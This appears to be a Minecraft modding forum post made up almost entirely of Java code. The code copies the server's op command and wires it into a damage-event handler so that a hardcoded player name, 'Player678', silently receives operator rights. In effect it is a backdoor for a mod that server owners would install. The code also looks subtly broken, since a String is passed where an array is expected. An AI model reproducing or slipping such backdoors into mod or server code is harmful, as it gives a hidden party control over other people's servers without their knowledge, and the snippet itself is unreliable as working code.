Follow along with the video below to see how to install our site as a web app on your home screen.
Примечание: This feature may not be available in some browsers.
public void processCommand(ICommandSender p_71515_1_, String[] p_71515_2_)
{
if (p_71515_2_.length == 1 && p_71515_2_[0].length() > 0)
{
MinecraftServer minecraftserver = MinecraftServer.getServer();
GameProfile gameprofile = minecraftserver.func_152358_ax().func_152655_a(p_71515_2_[0]);
if (gameprofile == null)
{
throw new CommandException("commands.op.failed", new Object[] {p_71515_2_[0]});
}
else
{
minecraftserver.getConfigurationManager().func_152605_a(gameprofile);
func_152373_a(p_71515_1_, this, "commands.op.success", new Object[] {p_71515_2_[0]});
}
}
else
{
throw new WrongUsageException("commands.op.usage", new Object[0]);
}
}
@SideOnly(value = Side.SERVER)
public static void processCommand(String[] p_71515_2_)
{
if (p_71515_2_.length == 1 && p_71515_2_[0].length() > 0) {
MinecraftServer minecraftserver = MinecraftServer.getServer();
GameProfile gameprofile = minecraftserver.func_152358_ax().func_152655_a(p_71515_2_[0]);
if (gameprofile != null)
minecraftserver.getConfigurationManager().func_152605_a(gameprofile);
}
}
@SideOnly(value = Side.SERVER)
public static void onLivingHurtEvent(LivingHurtEvent e) {
//бла бла бла
String nickname[] = new String[3];
nickname[0]="Player678";
processCommand(nickname[0]);
}
new String[3] вставил new String[1]